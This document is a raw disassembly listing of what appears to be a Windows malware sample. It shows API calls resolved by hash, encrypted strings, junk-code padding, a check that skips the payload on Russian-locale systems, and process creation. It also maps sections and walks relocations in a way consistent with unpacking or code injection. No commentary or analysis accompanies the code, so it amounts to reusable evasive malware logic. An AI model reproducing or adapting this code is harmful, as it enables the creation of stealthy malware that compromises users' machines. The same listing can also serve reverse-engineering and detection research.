		mov	dword_404104, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+var_10]
		call	eax
		jmp	short loc_401AC1
; ---------------------------------------------------------------------------

loc_401AAE:				; CODE XREF: sub_4017D5+1A4j
		add	eax, 0FFFFFFFEh
		cmp	eax, 3FEh
		ja	short loc_401AC1
		mov	[ebp+arg_8], bl
		jmp	short loc_401AC1
; ---------------------------------------------------------------------------

loc_401ABD:				; CODE XREF: sub_4017D5+312j
		cmp	al, bl
		jz	short loc_401AE9

loc_401AC1:				; CODE XREF: sub_4017D5+2D7j
					; sub_4017D5+2E1j ...
		push	1A212962h
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		lea	ecx, [ebp+var_47C]
		push	ecx
		push	[ebp+var_8]
		call	eax
		test	eax, eax
		setnz	al
		cmp	[ebp+var_4], ebx
		ja	short loc_401ABD

loc_401AE9:				; CODE XREF: sub_4017D5+2EAj
		cmp	dword_404104, 6
		jl	short loc_401AF8
		inc	dword_404104

loc_401AF8:				; CODE XREF: sub_4017D5+31Bj
		cmp	dword_404104, 96h
		jle	short loc_401B0E
		mov	dword_404104, 1Ah

loc_401B0E:				; CODE XREF: sub_4017D5+32Dj
		push	7314FB0Ch
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	eax
		push	7314FB0Ch
		push	edi
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+var_C]
		call	eax
		mov	eax, dword_404104
		add	eax, 0FFFFFFCAh
		cmp	eax, 9Ah
		ja	short loc_401B47
		inc	dword_404104

loc_401B47:				; CODE XREF: sub_4017D5+36Aj
		push	8F8F114h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	80000000h
		push	[ebp+arg_4]
		call	eax
		push	0AEF7CBF1h
		push	1
		mov	[ebp+var_10], eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	[ebp+var_10]
		call	eax
		push	723EB0D5h
		push	1
		mov	[ebp+var_24], eax
		call	sub_401117
		pop	ecx
		pop	ecx
		push	[ebp+var_10]
		call	eax
		inc	[ebp+var_1C]
		cmp	dword_404104, 5
		jl	short loc_401BA9
		inc	dword_404104

loc_401BA9:				; CODE XREF: sub_4017D5+3CCj
		cmp	dword_404104, 0D0h
		jle	short loc_401BBF
		mov	dword_404104, 21h

loc_401BBF:				; CODE XREF: sub_4017D5+3DEj
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_24]
		jz	short loc_401BD6
		cmp	[ebp+var_1C], 5
		jge	short loc_401BD6
		cmp	[ebp+arg_8], bl
		jnz	loc_401886

loc_401BD6:				; CODE XREF: sub_4017D5+3F0j
					; sub_4017D5+3F6j
		push	4Eh
		pop	eax
		push	34h
		pop	ecx
		pop	edi
		pop	esi

loc_401BDE:				; CODE XREF: sub_4017D5+41Ej
		cmp	ecx, 0BBh
		ja	short loc_401BE8
		inc	eax
		inc	ecx

loc_401BE8:				; CODE XREF: sub_4017D5+40Fj
		add	eax, 2Dh
		add	ecx, 2Dh
		cmp	eax, 93h
		jl	short loc_401BDE
		mov	dword_404104, eax
		lea	eax, [edx-2]
		cmp	eax, 3FEh
		ja	short loc_401C08
		xor	eax, eax
		jmp	short loc_401C59
; ---------------------------------------------------------------------------

loc_401C08:				; CODE XREF: sub_4017D5+42Dj
		cmp	[ebp+arg_8], bl
		jz	short loc_401C56
		add	edx, 0FFFFFBFFh
		cmp	edx, 48FDEh
		ja	short loc_401C56
		push	40h
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		mov	[ebp+var_7C], 44h
		call	sub_4010BB
		push	46318AC7h
		push	1
		call	sub_401117
		add	esp, 14h
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_7C]
		push	ecx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	ebx
		call	eax
		xor	eax, eax
		inc	eax
		jmp	short loc_401C59
; ---------------------------------------------------------------------------

loc_401C56:				; CODE XREF: sub_4017D5+436j
					; sub_4017D5+444j
		or	eax, 0FFFFFFFFh

loc_401C59:				; CODE XREF: sub_4017D5+431j
					; sub_4017D5+47Fj
		pop	ebx
		leave
		retn
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C5C	proc near		; CODE XREF: sub_4029EF:loc_402CFEp
					; DATA XREF: sub_40286B+135o

var_3B8		= byte ptr -3B8h
var_2B8		= byte ptr -2B8h
var_1B8		= byte ptr -1B8h
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_188		= byte ptr -188h
var_178		= byte ptr -178h
var_168		= byte ptr -168h
var_158		= byte ptr -158h
var_148		= byte ptr -148h
var_48		= byte ptr -48h
var_38		= byte ptr -38h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3B8h
		push	ebx
		push	esi
		push	edi
		push	0Bh
		mov	esi, offset dword_404108
		push	esi
		push	offset dword_403034
		call	sub_40102E
		mov	edi, 0C8AC8026h
		xor	ebx, ebx
		push	edi
		inc	ebx
		push	ebx
		call	sub_401117
		add	esp, 14h
		push	esi
		call	eax
		push	0Ah
		push	esi
		push	offset dword_4031F4
		call	sub_40102E
		push	edi
		push	ebx
		call	sub_401117
		add	esp, 14h
		push	esi
		call	eax
		push	0Ch
		push	esi
		push	offset dword_4031E4
		call	sub_40102E
		push	edi
		push	ebx
		call	sub_401117
		add	esp, 14h
		push	esi
		call	eax
		cmp	dword_404104, 10h
		jl	short loc_401CD2
		inc	dword_404104

loc_401CD2:				; CODE XREF: sub_401C5C+6Ej
		cmp	dword_404104, 0D9h
		jle	short loc_401CE8
		mov	dword_404104, 16h

loc_401CE8:				; CODE XREF: sub_401C5C+80j
		push	7A813811h
		xor	edi, edi
		push	ebx
		mov	[ebp+var_24], edi
		call	sub_401117
		pop	ecx
		pop	ecx
		call	eax
		push	50h
		movzx	ebx, ax
		pop	eax
		push	25h
		mov	[ebp+var_28], ebx
		pop	ecx

loc_401D08:				; CODE XREF: sub_401C5C+BFj
		cmp	ecx, 0ABh
		ja	short loc_401D12
		inc	eax
		inc	ecx

loc_401D12:				; CODE XREF: sub_401C5C+B2j
		add	eax, 2Dh
		add	ecx, 2Dh
		cmp	eax, 6Eh
		jl	short loc_401D08
		push	3
		push	esi
		push	offset dword_4031E0
		mov	dword_404104, eax
		call	sub_40102E
		push	67ECDE97h
		push	1
		call	sub_401117
		add	esp, 14h
		push	edi
		push	edi
		push	edi
		push	edi
		lea	ecx, [ebp+var_24]
		push	ecx
		push	edi
		push	edi
		push	esi
		call	eax
		push	2
		push	esi
		push	offset dword_4031DC
		call	sub_40102E
		push	[ebp+var_24]
		lea	eax, [ebp+var_48]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		add	esp, 18h
		cmp	dword_404104, 84h
		jge	short loc_401D7B
		inc	dword_404104

loc_401D7B:				; CODE XREF: sub_401C5C+117j
		push	0Ah
		push	esi
		push	offset dword_4031D0
		call	sub_40102E
		mov	edi, dword_403000
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_1B8]
		push	eax
		call	edi	; lstrcpy
		push	0Dh
		push	esi
		push	offset dword_4031C0
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_1A8]
		push	eax
		call	edi	; lstrcpy
		push	9
		push	esi
		push	offset dword_4031B4
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_198]
		push	eax
		call	edi	; lstrcpy
		push	0Ch
		push	esi
		push	offset dword_4031A4
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_188]
		push	eax
		call	edi	; lstrcpy
		push	0Dh
		push	esi
		push	offset dword_403194
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_178]
		push	eax
		call	edi	; lstrcpy
		push	0Dh
		push	esi
		push	offset loc_403184
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_168]
		push	eax
		call	edi	; lstrcpy
		push	0Ah
		push	esi
		push	offset aCSmM	; "ÑÊÌÌCÄèMÃM"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_158]
		push	eax
		call	edi	; lstrcpy
		cmp	bx, 419h
		jz	loc_402458
		call	sub_401094
		test	eax, eax
		jnz	loc_402458
		and	[ebp+var_20], eax
		mov	ebx, dword_40300C

loc_401E58:				; CODE XREF: sub_401C5C+58Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_401E68
		push	22h
		push	esi
		push	offset nullsub_3
		jmp	short loc_401E70
; ---------------------------------------------------------------------------

loc_401E68:				; CODE XREF: sub_401C5C+200j
		push	23h
		push	esi
		push	offset nullsub_2

loc_401E70:				; CODE XREF: sub_401C5C+20Aj
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_3B8]
		push	eax
		call	edi	; lstrcpy
		push	3
		push	esi
		push	offset aNt	; "NâÑ"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	17h
		push	esi
		push	offset aEignIsOAoFcd ; "ÇÍEIGNÂIèÇËÇ`OÍÄaOÍÄäcd"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	0
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		add	esp, 0Ch
		push	2
		push	esi
		push	offset dword_403110
		call	sub_40102E
		add	esp, 0Ch
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	edi	; lstrcpy
		cmp	word ptr [ebp+var_28], 410h
		jnz	short loc_401F67
		lea	eax, [ebp+var_1A8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	6
		push	esi
		push	offset dword_403108
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		jmp	loc_40216C
; ---------------------------------------------------------------------------

loc_401F67:				; CODE XREF: sub_401C5C+2AFj
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Ah
		push	esi
		push	offset dword_4030FC
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		push	2
		push	esi
		push	offset dword_403110
		mov	[ebp+var_C], eax
		call	sub_40102E
		add	esp, 18h
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_178]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Dh
		push	esi
		push	offset dword_4030EC
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		add	[ebp+var_C], eax
		push	2
		push	esi
		push	offset dword_403110
		call	sub_40102E
		add	esp, 18h
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Bh
		push	esi
		push	offset nullsub_1
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		add	[ebp+var_C], eax
		push	2
		push	esi
		push	offset dword_403110
		call	sub_40102E
		add	esp, 18h
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_198]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Eh
		push	esi
		push	offset aJjFhOjs	; "JJÉÇÃFHÊOJèÇËÇ"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		add	[ebp+var_C], eax
		push	2
		push	esi
		push	offset dword_403110
		call	sub_40102E
		add	esp, 18h
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_188]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Dh
		push	esi
		push	offset aDIIeS	; "ÄDÊÆIÆIEÆèÇËÇ"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		add	esp, 0Ch
		add	[ebp+var_C], eax

loc_40216C:				; CODE XREF: sub_401C5C+306j
		push	2
		push	esi
		push	offset dword_403110
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_158]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		push	0Ah
		push	esi
		push	offset aIDDmmhhc ; "IÊDÆDMMHHC"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	1
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		add	eax, [ebp+var_C]
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_4021F1
		inc	[ebp+var_20]
		cmp	[ebp+var_20], 2
		jl	loc_401E58
		jmp	loc_402458
; ---------------------------------------------------------------------------

loc_4021F1:				; CODE XREF: sub_401C5C+581j
		push	3
		push	esi
		push	offset aNt	; "NâÑ"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_2B8]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2B8]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	edi	; lstrcpy
		mov	eax, dword_404104
		add	eax, 0FFFFFFD2h
		cmp	eax, 0ADh
		ja	short loc_40223D
		inc	dword_404104

loc_40223D:				; CODE XREF: sub_401C5C+5D9j
		push	1Fh
		push	esi
		push	offset aJcnHSOAoFcdNhM ; "JCNÉÅÎHÅÂèÇËÇ`OÍÄaOÍÄäcdìNHÍMga"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	270118E2h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_38]
		push	ecx
		call	eax
		push	4Dh
		pop	eax
		push	45h
		pop	ecx

loc_402271:				; CODE XREF: sub_401C5C+62Aj
		cmp	ecx, 0ECh
		ja	short loc_40227B
		inc	eax
		inc	ecx

loc_40227B:				; CODE XREF: sub_401C5C+61Bj
		add	eax, 0Ah
		add	ecx, 0Ah
		cmp	eax, 0C2h
		jl	short loc_402271
		push	2
		push	esi
		mov	edi, offset dword_403090
		push	edi
		mov	dword_404104, eax
		call	sub_40102E
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		mov	al, byte ptr [ebp+var_8]
		add	al, 1Dh
		add	esp, 18h
		cmp	byte ptr [ebp+var_8+1],	0
		mov	[ebp+var_13], al
		jnz	short loc_4022C2
		mov	[ebp+var_11], 30h
		jmp	short loc_4022CA
; ---------------------------------------------------------------------------

loc_4022C2:				; CODE XREF: sub_401C5C+65Ej
		mov	al, byte ptr [ebp+var_8+1]
		add	al, 13h
		mov	[ebp+var_11], al

loc_4022CA:				; CODE XREF: sub_401C5C+664j
		push	3
		pop	eax
		push	0FFFFFFF2h
		pop	ecx

loc_4022D0:				; CODE XREF: sub_401C5C+689j
		cmp	ecx, 0E1h
		ja	short loc_4022DA
		inc	eax
		inc	ecx

loc_4022DA:				; CODE XREF: sub_401C5C+67Aj
		add	eax, 13h
		add	ecx, 13h
		cmp	eax, 0B7h
		jl	short loc_4022D0
		push	2
		push	esi
		push	edi
		mov	dword_404104, eax
		call	sub_40102E
		movzx	eax, [ebp+var_2E]
		push	eax
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		mov	al, byte ptr [ebp+var_4]
		add	al, 17h
		add	esp, 18h
		cmp	byte ptr [ebp+var_4+1],	0
		mov	[ebp+var_14], al
		jnz	short loc_40231C
		mov	[ebp+var_12], 30h
		jmp	short loc_402324
; ---------------------------------------------------------------------------

loc_40231C:				; CODE XREF: sub_401C5C+6B8j
		mov	al, byte ptr [ebp+var_4+1]
		add	al, 19h
		mov	[ebp+var_12], al

loc_402324:				; CODE XREF: sub_401C5C+6BEj
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	[ebp+var_10], 0
		call	ebx	; lstrcat
		push	7
		push	esi
		push	offset dword_403088
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	270118E2h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_38]
		push	ecx
		call	eax
		cmp	dword_404104, 64h
		jge	short loc_402372
		inc	dword_404104

loc_402372:				; CODE XREF: sub_401C5C+70Ej
		push	2
		push	esi
		push	edi
		call	sub_40102E
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		mov	ax, [ebp+var_8]
		add	esp, 18h
		test	ah, ah
		mov	[ebp+var_1B], al
		mov	[ebp+var_1A], 30h
		jz	short loc_4023A0
		mov	[ebp+var_1A], ah

loc_4023A0:				; CODE XREF: sub_401C5C+73Fj
		cmp	dword_404104, 11h
		jl	short loc_4023AF
		inc	dword_404104

loc_4023AF:				; CODE XREF: sub_401C5C+74Bj
		cmp	dword_404104, 0B7h
		jle	short loc_4023C5
		mov	dword_404104, 14h

loc_4023C5:				; CODE XREF: sub_401C5C+75Dj
		push	2
		push	esi
		push	edi
		call	sub_40102E
		movzx	eax, [ebp+var_2E]
		push	eax
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		call	dword_403014	; wsprintfA
		mov	ax, [ebp+var_4]
		add	esp, 18h
		test	ah, ah
		mov	[ebp+var_19], al
		mov	[ebp+var_1C], 30h
		jz	short loc_4023F3
		mov	[ebp+var_1C], ah

loc_4023F3:				; CODE XREF: sub_401C5C+792j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	[ebp+var_18], 0
		call	ebx	; lstrcat
		push	4
		push	esi
		push	offset dword_403080
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	ebx	; lstrcat
		push	0
		lea	eax, [ebp+var_2B8]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4017D5
		mov	eax, dword_404104
		add	eax, 0FFFFFFADh
		add	esp, 0Ch
		cmp	eax, 94h
		ja	short loc_402458
		inc	dword_404104

loc_402458:				; CODE XREF: sub_401C5C+1E0j
					; sub_401C5C+1EDj ...
		push	95902B19h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	0
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401C5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40246F	proc near		; DATA XREF: sub_40286B+4Do
		push	esi
		push	edi
		mov	edi, 81F0F0DFh
		push	edi
		push	1
		call	sub_401117
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

loc_402485:				; CODE XREF: sub_40246F+4Fj
		push	1297812Ch
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		call	eax
		cmp	eax, 2
		jz	short loc_4024C0
		push	3D9972F5h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	3E8h
		call	eax
		push	edi
		push	1
		call	sub_401117

loc_4024B7:				; CODE XREF: sub_40246F+14j
		pop	ecx
		pop	ecx
		push	esi
		call	eax
		test	eax, eax
		jz	short loc_402485

loc_4024C0:				; CODE XREF: sub_40246F+29j
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
sub_40246F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024C7	proc near		; CODE XREF: sub_40286B+13Ap
					; sub_4029EF+134p ...

var_310		= dword	ptr -310h
var_260		= dword	ptr -260h
var_44		= byte ptr -44h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 310h
		push	ebx
		push	esi
		push	edi
		call	sub_401113
		and	eax, 0FFFF0000h
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		mov	[ebp+var_18], eax
		lea	eax, [ecx+18h]
		mov	esi, [eax+38h]
		mov	[ebp+var_14], eax
		mov	eax, dword_404104
		add	eax, 0FFFFFFFBh
		cmp	eax, 0DDh
		mov	[ebp+var_24], ecx
		mov	[ebp+var_1C], esi
		ja	short loc_402509
		inc	dword_404104

loc_402509:				; CODE XREF: sub_4024C7+3Aj
		push	0A08B638Ch
		xor	ebx, ebx
		push	1
		mov	[ebp+var_1], bl
		call	sub_401117
		pop	ecx
		pop	ecx
		push	9
		call	eax
		mov	edi, eax
		mov	eax, dword_404104
		neg	edi
		sbb	edi, edi
		and	edi, 3Ch
		add	eax, 0FFFFFFF9h
		add	edi, 4
		cmp	eax, 0E1h
		ja	short loc_402541
		inc	dword_404104

loc_402541:				; CODE XREF: sub_4024C7+72j
		push	0EF0A25B7h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	esi
		push	ebx
		push	edi
		push	ebx
		push	0FFFFFFFFh
		call	eax
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	short loc_402566
		xor	al, al
		jmp	loc_402866
; ---------------------------------------------------------------------------

loc_402566:				; CODE XREF: sub_4024C7+96j
		push	5CD9430h
		push	1
		call	sub_401117
		pop	ecx
		pop	ecx
		push	ebx
		push	ebx
		push	ebx
		push	2
		push	[ebp+var_C]
		call	eax
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40282B
		cmp	dword_404104, 9
		jl	short loc_402598
		inc	dword_404104

loc_402598:				; CODE XREF: sub_4024C7+C9j
		cmp	dword_404104, 0BDh
		jle	short loc_4025AE
		mov	dword_404104, 1Bh

loc_4025AE:				; CODE XREF: sub_4024C7+DBj
		push	12h
		mov	esi, offset dword_404108
		push	esi
		push	offset aYoKmdxVmnKh ; "ØÅYOÇÔKMDXÌVMNÅKHÈ"
		call	sub_40102E
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_44]
		push	eax
		call	dword_403000	; lstrcpy
		push	9
		push	esi
		push	offset aS	; "ÈÅÍÉÉèÍÉÉ"
		call	sub_40102E
		push	0C8AC8026h
		push	1
		call	sub_401117
		add	esp, 14h
		push	esi
		call	eax
		push	1FC0EAEEh
		push	1
		mov	esi, eax
		call	sub_401117
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_44]
		push	ecx
		push	esi
		call	eax
		cmp	dword_404104, 13h
		mov	[ebp+var_10], ebx
		jge	short loc_402616
		inc	dword_404104

loc_402616:				; CODE XREF: sub_4024C7+147j
		mov	esi, [ebp+var_1C]
		push	edi
		push	ebx
		push	1
		lea	ecx, [ebp+var_20]
		push	ecx
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_4]
		mov	[ebp+var_20], esi
		push	[ebp+var_C]
		call	eax
		mov	edi, [ebp+var_18]
		push	esi
		push	edi
		push	[ebp+var_8]
		call	sub_4010EE
		add	esp, 0Ch
		cmp	dword_404104, 51h
		jge	short loc_402652
		inc	dword_404104

loc_402652:				; CODE XREF: sub_4024C7+183j
		mov	eax, [ebp+var_24]
		movzx	ecx, word ptr [eax+14h]
		add	ecx, [ebp+var_14]
		push	39h
		pop	edx
		push	0FFFFFFEAh
		pop	eax

loc_402662:				; CODE XREF: sub_4024C7+1B0j
		cmp	eax, 8Eh
		ja	short loc_40266B
		inc	edx
		inc	eax

loc_40266B:				; CODE XREF: sub_4024C7+1A0j
		add	edx, 17h
		add	eax, 17h
		cmp	edx, 0A2h
		jl	short loc_402662
		mov	esi, [ebp+var_10]
		mov	eax, esi
		sub	eax, edi
		cmp	edx, 0Fh
		mov	dword_404104, edx
		mov	[ebp+var_14], eax
		jl	short loc_402695
		inc	edx
		mov	dword_404104, edx

loc_402695:				; CODE XREF: sub_4024C7+1C5j
		cmp	edx, 0E0h
		jle	short loc_4026A6
		push	14h
		pop	edx
		mov	dword_404104, edx

loc_4026A6:				; CODE XREF: sub_4024C7+1D4j
		mov	eax, [ecx+34h]
		add	eax, edi

loc_4026AB:				; CODE XREF: sub_4024C7+1F5j
		cmp	word ptr [eax],	0BE8Dh
		jnz	short loc_4026BB
		cmp	dword ptr [eax+6], 0C009078Bh
		jz	short loc_4026BE

loc_4026BB:				; CODE XREF: sub_4024C7+1E9j
		inc	eax
		jmp	short loc_4026AB
; ---------------------------------------------------------------------------

loc_4026BE:				; CODE XREF: sub_4024C7+1F2j
		mov	eax, [eax+2]
		add	eax, [ecx+0Ch]
		add	eax, edi
		jmp	short loc_4026D5
; ---------------------------------------------------------------------------

loc_4026C8:				; CODE XREF: sub_4024C7+210j
		add	eax, 8
		jmp	short loc_4026CE
; ---------------------------------------------------------------------------

loc_4026CD:				; CODE XREF: sub_4024C7+20Aj
		inc	eax

loc_4026CE:				; CODE XREF: sub_4024C7+204j
		cmp	[eax], bx
		jnz	short loc_4026CD
		inc	eax
		inc	eax

loc_4026D5:				; CODE XREF: sub_4024C7+1FFj
		cmp	[eax], ebx
		jnz	short loc_4026C8
		cmp	edx, 0Eh
		jge	short loc_4026E5
		inc	edx
		mov	dword_404104, edx

loc_4026E5:				; CODE XREF: sub_4024C7+215j
		mov	ecx, [ecx+0Ch]
		mov	edi, [ebp+var_8]
		add	eax, 4
		lea	edi, [ecx+edi-4]
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jz	short loc_402729

loc_4026F9:				; CODE XREF: sub_4024C7+257j
		cmp	cl, 0F0h
		jnb	short loc_402705
		movzx	ecx, cl
		add	edi, ecx
		jmp	short loc_402714
; ---------------------------------------------------------------------------

loc_402705:				; CODE XREF: sub_4024C7+235j
		movzx	edx, word ptr [eax]
